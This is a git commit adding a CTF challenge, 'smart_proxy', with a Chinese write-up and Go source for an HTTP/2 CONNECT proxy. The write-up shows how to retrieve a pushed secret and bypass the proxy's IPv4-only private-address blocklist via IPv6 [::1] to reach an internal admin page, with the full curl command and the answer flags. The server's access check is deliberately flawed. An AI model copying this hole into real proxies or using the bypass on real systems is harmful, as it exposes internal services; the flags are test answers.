add smart_proxy

This commit is contained in:
Layton Chen
2020-11-05 20:06:31 +08:00
parent f00b44865d
commit cf16bf678a
18 changed files with 910 additions and 0 deletions
@@ -1 +1,124 @@
# 超安全的代理服务器
本地源代码在 (src)[./src/smart_proxy] 文件夹下。
## 考察内容
本题设计指出是为了考察 HTTP 协议的一系列应用。更具体的来说,本题需要各位选手们在答题的过程中了解如下一些内容:
1. HTTP2 的新特性 —— PUSH
2. HTTP CONNECT 可以用于隧道代理
3. 代理服务器的本地代理漏洞
4. IPv6 协议
当然,为了避免不了解相关内容的同学做题时卡克,小 C 在设计本题的时候也希望尽可能充分的给足暗示,希望能够让大家稍微了解一下。
## 解法
使用大部分比较新浏览器打开本题的时候,都会提示 “Notice: 我们已经向您 推送(PUSH) 了最新的 Secret ,但是你可能无法直接看到它。”,同时在帮助中心中也明确提示了“HTTP2”。只要将这两个关键词在谷歌中搜索,就可以找到大量关于 HTTP2 新特性 PUSH 的相关资料。 HTTP2 的更多资料参见 [RFC 7540](https://tools.ietf.org/html/rfc7540)。
### Step 1: 获取 Secret
简单来说,HTTP2 PUSH 特性可以使得服务器更加主动地向浏览器推送资源,使得内容加载更加灵活和快速,但是 HTTP2 PUSH 的内容通常不会直接出现在浏览器的“开发人员工具”中,因此需要更加底层的调试和查看手段。我们在这里提供了两种查看的方法:
### Method 1. 使用 Wireshark 抓包分析
一种很直观的查看方式是直接抓取原始流量进行分析,但是困难在于 h2 内容 大多经过 TLS 协议加密,因此直接查看只能看到加密后的内容。解决方法是提取浏览器中的 TLS 会话秘钥,就可以进行抓包和解密了。具体细节参见:[这一篇文章](https://cloud.tencent.com/developer/article/1416948)
我们使用类似下面的命令可以启动浏览器并导出 TLS 秘钥,并使用 Wireshark 可以抓取到加密的 HTTP2 流量,我们观察到有 Promise Push 的内容,具体是一个 URL。我们访问这个 URL 即可得到**代理凭证 secret** 和第一个**flag**
![pic/pic_1.png](pic/pic_1.png)
### Method 2. 使用 nghttp2 工具调试 HTTP2
还有另一个方法是使用命令行工具 nghttp2 来调试获取 push 的内容。
```
$ nghttp -sny https://146.56.228.227/
***** Statistics *****
Request timing:
responseEnd: the time when last byte of response was received
relative to connectEnd
requestStart: the time just before first byte of request was sent
relative to connectEnd. If '*' is shown, this was
pushed by server.
process: responseEnd - requestStart
code: HTTP status code
size: number of bytes received as response body without
inflation.
URI: request URI
see http://www.w3.org/TR/resource-timing/#processing-model
sorted by 'complete'
id responseEnd requestStart process code size request path
2 +11.07ms * +11.03ms 48us 200 571 /dab44e3a-6b65-4bda-a0f4-3bc1531b8a1c
13 +11.09ms +270us 10.82ms 200 1015 /
```
最终 flag1 相关的网页部分源代码如下:
```
<p style="color:blue;">Notice: secret: 9a33678d37 ! Please use this secret to access our proxy.(flag1: flag{d0_n0t_push_me} )</p>
```
### Step 2. 入侵控制中心
此时我们已经可以访问我们的代理服务器了。从原理上说,我们的代理服务器使用的是 HTTP CONNECT 代理,其具体原理参考 [RFC 7231](https://tools.ietf.org/html/rfc7231#section-4.3.6)。
有了代理服务器,我们需要访问什么内容呢?其实从题目名字“入侵管理中心”就已经告诉了我们做题的方向了。通过点击“管理中心”这个非常可疑的链接 http://127.0.0.1:8080。这告诉我们需要访问服务器内网 8080 端口上的 http 服务。
其实大部分代理协议(甚至包括早期的“影子袜子”软件等)都可能存在如下漏洞:代理服务器没有过滤一系列私有 IP 段,导致用户可以访问一些本机上(或者内网中)并不希望对外可访问的服务。但是我们的访问控制列表控制的还是比较严密:
* 全球单播地址
* 10.0.0.0/8
* 127.0.0.0/8
* 172.16.0.0/12
* 192.168.0.0/16
其实 IPv4 的单播地址基本都被过滤干净了,可能可以想到可以使用 IPv6 的地址来试试。IPv6 协议中,本地地址通常是 `[::1]` 这样一个地址,因此可以来试试。在连接建立成功后,提示还需要 Referer,最终加上 Referer ,即可构造 exp 并获取 **flag2**。下面给出最终执行的命令以及关键输出。
```
$ curl http://\[::1\]:8080 -p -x https://146.56.228.227:443 -H "referer: https://146.56.228.227" -vvnn --proxy-insecure --proxy-header "Secret: da0d8b646b"
> CONNECT [::1]:8080 HTTP/1.1
> Host: [::1]:8080
> User-Agent: curl/7.64.1
> Proxy-Connection: Keep-Alive
> Secret: da0d8b646b
...
...
...
< HTTP/1.1 200 OK
< Content-Length: 0
...
...
...
> GET / HTTP/1.1
> Host: [::1]:8080
> User-Agent: curl/7.64.1
> Accept: */*
> referer: https://146.56.228.227
...
...
...
< HTTP/1.1 200 OK
< Date: Thu, 05 Nov 2020 11:54:21 GMT
< Content-Length: 32
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 146.56.228.227 left intact
flag2: flag{c0me_1n_t4_my_h0use}
...
```
## 一些提醒
1. IPv6 规则配置不当其实应当引起重视。小 C 自己曾经见到某服务器配置了 200 余条 IPv4 iptables 规则,却放行了全部 IPv6 流量。功亏一篑~
2. 一些代理相关软件至今都存在类似本地代理漏洞的风险,下面是“某白话文教程”中的代码片段原文:
```
{
"type": "field",
"outboundTag": "direct",
"ip": [
"geoip:cn",
"geoip:private"
]
}
```
3. 为了防止一些浏览器能够通过调试控制台得到 secret,小 C 曾经测试了 IE、旧 Edge、新 Edge、Chrome、Firefox、Safari 等主流桌面级浏览器。如果有同学知道有什么浏览器可以直接调试 http2的,可以告诉小 C。**(黑曜石浏览器除外)**
Binary file not shown.

After

Width:  |  Height:  |  Size: 939 KiB

Binary file not shown.
Binary file not shown.
@@ -0,0 +1,13 @@
build:
clean
go build -o build/ssv .
clean:
rm -f build/ssv*
darwin:
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -o build/ssv .
linux:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o build/ssv-linux .
all: clean darwin linux
@@ -0,0 +1,66 @@
package main
import (
"encoding/base64"
"log"
"net/http"
"strings"
)
func basicAuth(r *http.Request) (username, password string, ok bool) {
auth := r.Header.Get("Authorization")
if auth == "" {
if r.URL.User.Username() != "" {
user := r.URL.User.Username()
pass, isPass := r.URL.User.Password()
if isPass {
return user, pass, true
}
return user, "", true
}
return
}
return parseBasicAuth(auth)
}
func parseBasicAuth(auth string) (username, password string, ok bool) {
const prefix = "Basic "
// Case insensitive prefix match. See Issue 22736.
if len(auth) < len(prefix) || !strings.EqualFold(auth[:len(prefix)], prefix) {
return
}
c, err := base64.StdEncoding.DecodeString(auth[len(prefix):])
if err != nil {
return
}
cs := string(c)
s := strings.IndexByte(cs, ':')
if s < 0 {
return
}
return cs[:s], cs[s+1:], true
}
func basicAuthHandle(w http.ResponseWriter, req *http.Request) bool {
if *usernameFlag == "" && *passwordFlag == "" {
// pass basic auth check
return true
}
username, password, ok := basicAuth(req)
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`)
w.WriteHeader(http.StatusUnauthorized)
return false
}
if username == *usernameFlag && password == *passwordFlag {
return true
}
log.Println("invaild username and password:", username, password)
w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`)
w.WriteHeader(http.StatusUnauthorized)
return false
}
@@ -0,0 +1,6 @@
package main
const (
flag1 = "flag{d0_n0t_push_me}"
flag2 = "flag{c0me_1n_t4_my_h0use}"
)
@@ -0,0 +1,8 @@
module strange_server
go 1.14
require (
github.com/satori/go.uuid v1.2.0
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de
)
@@ -0,0 +1,11 @@
github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de h1:ikNHVSjEfnvz6sxdSPCaPt572qowuyMDMJLLm3Db3ig=
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -0,0 +1,97 @@
package main
import (
"log"
"net"
"net/http"
"strings"
)
const (
internalListenAddr = ":8080"
internalLocalHost = "127.0.0.1"
)
var (
internalPublicError = []byte("管理中心无法从公网直接访问")
internalFromError = []byte("管理中心需要从 '" + *hostFlag + "' 被访问(Referer)")
internalMethodError = []byte("管理中心不允许该 HTTP 方法(Method)")
internalNotFoundError = []byte("无法找到请求的页面")
internnalTokenError = []byte("Missing 'token': you must 'GET' your flag with your Hackergame Token")
)
type internalServer struct{}
func (s *internalServer) ServeHTTP(w http.ResponseWriter, req *http.Request) {
remoteHost, _, err := net.SplitHostPort(req.RemoteAddr)
if err != nil {
remoteHost = req.RemoteAddr
}
if *debugFlag {
log.Println("[internal] request from", remoteHost, "to", req.Method, req.URL)
}
if remoteHost != "localhost" && remoteHost != "127.0.0.1" && remoteHost != "::1" {
w.WriteHeader(http.StatusForbidden)
w.Write(internalPublicError)
return
}
referer := req.Header.Get("Referer")
if !strings.Contains(referer, *hostFlag) {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("管理中心需要从 '" + *hostFlag + "' 被访问(Referer)"))
return
}
if req.Method != http.MethodGet {
w.WriteHeader(http.StatusMethodNotAllowed)
w.Write(internalMethodError)
return
}
if req.URL.Path != "/" {
w.WriteHeader(http.StatusNotFound)
w.Write(internalNotFoundError)
return
}
w.WriteHeader(http.StatusOK)
w.Write([]byte("flag2: "+flag2))
// v := req.URL.Query()
// token := v.Get("token")
// if token == "" {
// w.WriteHeader(http.StatusOK)
// w.Write(internnalTokenError)
// return
// }
// w.WriteHeader(http.StatusOK)
// w.Write(getFlag(token))
}
func internalServerRun() {
addr := *innerFlag
if addr == "" {
addr = internalListenAddr
}
log.Println("[server] internal server listen at", addr)
err := http.ListenAndServe(addr, &internalServer{})
if err != nil {
log.Fatalln("[server] internal server error: ", err)
}
}
func getFlag(token string) []byte {
return []byte(flag2)
// h := md5.New()
// mT := h.Sum([]byte(token))
// dst := make([]byte, hex.EncodedLen(len(mT)))
// hex.Encode(dst, mT)
// flag := "flag{http_is_amazing_" + string(dst[:5]) + string(dst[len(dst)-5:]) + "}"
// return []byte(flag)
}
@@ -0,0 +1,33 @@
package main
import (
"flag"
"log"
)
var (
addrFlag = flag.String("listen", ":https", "server listen address")
innerFlag = flag.String("inner", ":8080", "internal server address")
hostFlag = flag.String("host", "127.0.0.1", "server host name")
certFlag = flag.String("cert", "", "TLS certificate")
keyFlag = flag.String("key", "", "TLS private key")
debugFlag = flag.Bool("debug", true, "enable debug mode")
usernameFlag = flag.String("username", "", "username for basic auth")
passwordFlag = flag.String("password", "", "password for basic auth")
)
func logInit() {
if *debugFlag {
log.SetFlags(log.LstdFlags | log.Lshortfile | log.Lmsgprefix)
log.SetPrefix("[debug]")
}
}
func main() {
flag.Parse() // CLI parse
logInit() // log innitial
go internalServerRun()
publicServerRun() // start server
}
@@ -0,0 +1,154 @@
package main
import (
"errors"
"fmt"
"html/template"
"log"
"net"
"net/http"
"strings"
"time"
)
func proxyErrorHandle(w http.ResponseWriter, req *http.Request, code int, err error) {
tmpl, _ := template.New("index").Parse(tmplStr)
msg := tplMsg{}
if err != nil {
if *debugFlag {
log.Println("[proxy]", err)
}
msg.Err = template.HTML(err.Error())
}
w.WriteHeader(code)
tmpl.Execute(w, msg)
}
func proxyHandle(w http.ResponseWriter, req *http.Request) {
hostPort := req.URL.Host
if hostPort == "" {
hostPort = req.Host
}
host, port, err := net.SplitHostPort(hostPort)
if err != nil {
err = errors.New("[proxy] HTTP 代理请求格式错误")
proxyErrorHandle(w, req, http.StatusBadGateway, err)
return
}
secrestReq := req.Header.Get("Secret")
if secrestReq != secretText {
err = errors.New("[proxy] Secret 不正确")
proxyErrorHandle(w, req, http.StatusForbidden, err)
return
}
// Allow List check
ret := aclCheck(host, port)
if ret != true {
err = fmt.Errorf("[proxy] 代理请求 %v:%v 不被访问控制列表所允许", host, port)
proxyErrorHandle(w, req, http.StatusForbidden, err)
return
}
// outbound
outbound, err := net.DialTimeout("tcp", hostPort, 10*time.Second)
if err != nil {
err = errors.New("[gateway] 无法建立到 " + hostPort + " 的连接")
proxyErrorHandle(w, req, 502, err)
return
}
defer outbound.Close()
// // Return 200
wFlusher, ok := w.(http.Flusher)
if !ok {
err = errors.New("[gateway] flusher 不被支持! 请联系比赛组织方。错误码 0x03")
proxyErrorHandle(w, req, 500, err)
return
}
switch req.ProtoMajor {
case 1:
hijacker, ok := w.(http.Hijacker)
if !ok {
proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("内部错误,请联系比赛组织方!错误码 0x01"))
return
}
clientConn, bufReader, err := hijacker.Hijack()
if err != nil {
proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("内部错误,请联系比赛组织方!错误码 0x02"))
return
}
defer clientConn.Close()
if bufReader != nil {
// snippet borrowed from `proxy` plugin
if n := bufReader.Reader.Buffered(); n > 0 {
rbuf, err := bufReader.Reader.Peek(n)
if err != nil {
proxyErrorHandle(w, req, http.StatusInternalServerError, errors.New("隧道错误"))
return
}
outbound.Write(rbuf)
}
}
res := &http.Response{StatusCode: http.StatusOK,
Proto: "HTTP/1.1",
ProtoMajor: 1,
ProtoMinor: 1,
Header: make(http.Header),
}
res.Write(clientConn)
dualStream(outbound, clientConn, clientConn)
case 2:
defer req.Body.Close()
w.WriteHeader(200)
wFlusher.Flush()
dualStream(outbound, req.Body, w)
default:
proxyErrorHandle(w, req, http.StatusHTTPVersionNotSupported, errors.New(" HTTP 协议版本出错"))
}
}
var wl = []string{"ustc.edu.cn", "www.ustc.edu.cn"}
func aclCheck(host, port string) bool {
// _, inport, err := net.SplitHostPort(*innerFlag)
// if err != nil {
// inport = "8080"
// }
// if port != "80" && port != "443" && port != inport {
// log.Println(1)
// return false
// }
for _, w := range wl {
if strings.Contains(host, w) {
return true
}
}
ip := net.ParseIP(host)
log.Println(ip)
if ip != nil {
if ip.IsGlobalUnicast() {
return false
}
if ip4 := ip.To4(); ip4 != nil {
if ip4[0] == 192 && ip4[1] == 168 {
return false
}
if ip4[0] == 127 || ip4[0] == 10 || ip4[0] == 172 {
return false
}
}
return true
}
return false
}
@@ -0,0 +1,38 @@
package main
import (
"time"
)
var qosTable = make(map[string]int)
const (
maxPerPeriod = 1
period = 1 * time.Second
)
func init() {
go qosClear()
}
func qosClear() {
tr := time.NewTicker(period)
defer tr.Stop()
for {
<-tr.C
qosTable = make(map[string]int)
}
}
func qosAdd(ip string) {
qosTable[ip]++
}
func qosCheck(ip string) bool {
c, ok := qosTable[ip]
if !ok {
return true
}
return c <= maxPerPeriod
}
@@ -0,0 +1,163 @@
package main
import (
"html/template"
"log"
"net"
"net/http"
"golang.org/x/crypto/acme/autocert"
)
type proxyServer struct{}
func (s *proxyServer) ServeHTTP(w http.ResponseWriter, req *http.Request) {
indexHandle(w, req)
}
func publicServerRun() {
go flashUUID()
poolInit()
log.Printf("[server] listen to: %v sni:%v", *addrFlag, *hostFlag)
var err error
s := &http.Server{
Addr: *addrFlag,
Handler: &proxyServer{},
}
if *certFlag == "" || *keyFlag == "" {
m := &autocert.Manager{
Cache: autocert.DirCache("cert"),
Prompt: autocert.AcceptTOS,
HostPolicy: autocert.HostWhitelist(*hostFlag),
}
s.TLSConfig = m.TLSConfig()
go http.ListenAndServe(":http", m.HTTPHandler(nil))
err = s.ListenAndServeTLS("", "")
} else {
err = s.ListenAndServeTLS(*certFlag, *keyFlag)
}
if err != nil {
log.Fatalln("[server] start server error: ", err)
}
}
func indexHandle(w http.ResponseWriter, req *http.Request) {
// basic auth for check
if !basicAuthHandle(w, req) {
return
}
tmpl, _ := template.New("index").Parse(tmplStr)
msg := tplMsg{
Body: indexStr,
Inner: template.HTML(*innerFlag),
}
if *debugFlag {
log.Printf("[client] from:%v Method:%v Host:%v URL:%v\n", req.RemoteAddr, req.Method, req.Host, req.URL)
}
// route
if req.Method == http.MethodConnect {
// Do not pass limitations
remoteHost, _, err := net.SplitHostPort(req.RemoteAddr)
if err != nil {
remoteHost = req.RemoteAddr
}
if !qosCheck(remoteHost) {
log.Println("[proxy] reached the maximum number of proxy connections.")
w.WriteHeader(http.StatusTooManyRequests)
msg.Err = maxRequestErrorStr
tmpl.Execute(w, msg)
return
}
qosAdd(remoteHost)
proxyHandle(w, req)
return
}
// protocol check
if req.ProtoMajor != 2 {
log.Println("[http2] use HTTP/1.1 or below, quit!")
w.WriteHeader(http.StatusHTTPVersionNotSupported)
msg.Err = versionErrorStr
tmpl.Execute(w, msg)
return
}
switch req.URL.Path {
case secureURL:
secureHandle(w, req)
return
case "/help":
helpHandle(w, req)
return
case "/admin":
adminHandle(w, req)
return
}
if req.URL.Path != "" && req.URL.Path != "/" {
notFoundHandle(w, req)
return
}
pusher, ok := w.(http.Pusher)
if !ok {
log.Println("[http2] Pusher initial error!")
w.WriteHeader(http.StatusInternalServerError)
msg.Err = versionErrorStr
tmpl.Execute(w, msg)
return
}
// Push
options := &http.PushOptions{
Header: http.Header{},
}
if err := pusher.Push(secureURL, options); err != nil {
log.Println("Failed to push: ", err)
w.WriteHeader(http.StatusInternalServerError)
msg.Err = pushErrorStr
tmpl.Execute(w, msg)
return
}
msg.Msg = pushSuccStr
tmpl.Execute(w, msg)
}
func secureHandle(w http.ResponseWriter, req *http.Request) {
tmpl, _ := template.New("index").Parse(tmplStr)
msg := tplMsg{}
rawMsg := "secret: " + secretText + " ! Please use this secret to access our proxy.(flag1: "+flag1+" )"
msg.Msg = template.HTML(rawMsg)
tmpl.Execute(w, msg)
}
func helpHandle(w http.ResponseWriter, req *http.Request) {
tmpl, _ := template.New("help").Parse(tmplStr)
msg := tplMsg{}
msg.Body = helpStr
tmpl.Execute(w, msg)
}
func adminHandle(w http.ResponseWriter, req *http.Request) {
w.WriteHeader(http.StatusBadGateway)
w.Write([]byte(adminStr))
}
func notFoundHandle(w http.ResponseWriter, req *http.Request) {
tmpl, _ := template.New("help").Parse(tmplStr)
w.WriteHeader(http.StatusNotFound)
msg := tplMsg{}
msg.Err = template.HTML("Page Not Found: " + req.URL.Path)
tmpl.Execute(w, msg)
}
@@ -0,0 +1,88 @@
package main
import "html/template"
const (
tmplStr = `<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Smart Proxy!</title>
</head>
<body>
<center><h1>Smart Proxy!</h1></center>
<hr>
{{with .Err}}
<p style="color:red;">Error: {{.}}</p>
{{end}}
{{with .Msg}}
<p style="color:blue;">Notice: {{.}}</p>
{{end}}
{{.Body}}
<hr style="margin-top: 50px">
<footer>
<p>Serve with honor. Smart Proxy, 2020.</p>
<a href="/">主页</a>
<a href="/help">帮助</a>
<a href="http://127.0.0.1{{.Inner}}" referrerpolicy="origin">管理中心</a>
</footer>
</body>
</html>
`
indexStr = `<p>我们提供了一个代理服务器,用于访问科大主页( www.ustc.edu.cn )。只有拥有 <strong>secret</strong> 的人才是我们尊贵的客人,才能访问我们的服务。 </p>
<p>为了获取更多帮助, 你可以访问 <a href="/help">帮助中心</a> </p>
<p style="display: none"> 一周工作 72 小时的美工上周住进了 ICU,界面难看也先凑合着用吧 </p>`
helpStr = ` <p> Smart Proxy 是一个基于 HTTP2 协议的超级代理服务器。</p>
<p> 1. 我们的服务只提供基于 <strong>CONNECT</strong> 的代理(欲知详情,请访问 <a href="https://tools.ietf.org/html/rfc7231#section-4.3.6">RFC 7231</a> </p>
<p> 2. 另外,你需要在你的 HTTP 请求头标中加入 <strong>Secret</strong> 来作为身份凭证, 例如:</p>
<code>
Secret: [your secret here]
</code>
<p> 请注意 <strong>Secret</strong> 只有 60 秒有效期。</p>
<p> 3. 我们使用一个访问控制列表来检查您的访问请求。只有匹配如下域名的请求,才会被代理:</p>
<ul>
<li>ustc.edu.cn</li>
<li>www.ustc.edu.cn</li>
</ul>
在黑名单中的 IP 是无法被代理的:
<ul>
<li>全球单播地址</li>
<li>10.0.0.0/8</li>
<li>127.0.0.0/8</li>
<li>172.16.0.0/12</li>
<li>192.168.0.0/16</li>
</ul>
`
adminStr = `<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Smart Proxy!</title>
</head>
<body>
<p>无法连接到管理中心: <strong>http://127.0.0.1:8080</strong> 无法从公网被访问。</p>
</body>
</html>
`
adminErrorStr = "无法连接到管理中心: <strong>http://127.0.0.1:8080</strong> 无法从公网被访问。"
versionErrorStr = "为了更好的提供服务器, 请使用最新的 <strong>HTTP2</strong> 协议。"
pushErrorStr = "我们无法向您 <strong>推送(PUSH</strong> 最新的 <strong>Secret</strong>. 请使用如下浏览器以便于我们给你推送一些消息: Chrome, Firefox, Safari, Microsoft Edge."
pushSuccStr = "我们已经向您 <strong>推送(PUSH</strong> 了最新的 <strong>Secret</strong> ,但是你可能无法直接看到它。"
maxRequestErrorStr = "别太快了!您已经达到了允许连接的上限了"
)
type tplMsg struct {
Err template.HTML
Msg template.HTML
Body template.HTML
Inner template.HTML
}
@@ -0,0 +1,65 @@
package main
import (
"io"
"net"
"net/http"
"sync"
)
var bufferPool sync.Pool
func poolInit() {
makeBuffer := func() interface{} { return make([]byte, 0, 32*1024) }
bufferPool = sync.Pool{New: makeBuffer}
}
func flushingIoCopy(dst io.Writer, src io.Reader, buf []byte) (written int64, err error) {
flusher, ok := dst.(http.Flusher)
if !ok {
return io.CopyBuffer(dst, src, buf)
}
for {
nr, er := src.Read(buf)
if nr > 0 {
nw, ew := dst.Write(buf[0:nr])
flusher.Flush()
if nw > 0 {
written += int64(nw)
}
if ew != nil {
err = ew
break
}
if nr != nw {
err = io.ErrShortWrite
break
}
}
if er != nil {
if er != io.EOF {
err = er
}
break
}
}
return
}
func dualStream(target net.Conn, clientReader io.ReadCloser, clientWriter io.Writer) error {
stream := func(w io.Writer, r io.Reader) error {
// copy bytes from r to w
buf := bufferPool.Get().([]byte)
buf = buf[0:cap(buf)]
_, _err := flushingIoCopy(w, r, buf)
if closeWriter, ok := w.(interface {
CloseWrite() error
}); ok {
closeWriter.CloseWrite()
}
return _err
}
go stream(target, clientReader)
return stream(clientWriter, target)
}
@@ -0,0 +1,45 @@
package main
import (
"crypto/sha256"
"encoding/hex"
"log"
"time"
uuid "github.com/satori/go.uuid"
)
var (
secureURL = "/D2170E42-63B0-40ED-B0AE-9AF6CA3AC32E"
secretText = ""
salt = "smart-or-strange"
)
func genUUID() {
uuidRaw := uuid.NewV4().String()
secureURL = "/" + uuidRaw
secretRaw := sha256.Sum256([]byte(uuidRaw + salt))
dst := make([]byte, hex.EncodedLen(len(secretRaw)))
hex.Encode(dst, secretRaw[:])
secretText = string(dst[:10])
if *debugFlag {
log.Printf("[secret] URL:%v Secret: %v \n", secureURL, secretText)
}
}
func flashUUID() {
d := time.Duration(time.Second * 60)
t := time.NewTicker(d)
defer t.Stop()
genUUID()
defer t.Stop()
for {
<-t.C
genUUID()
}
}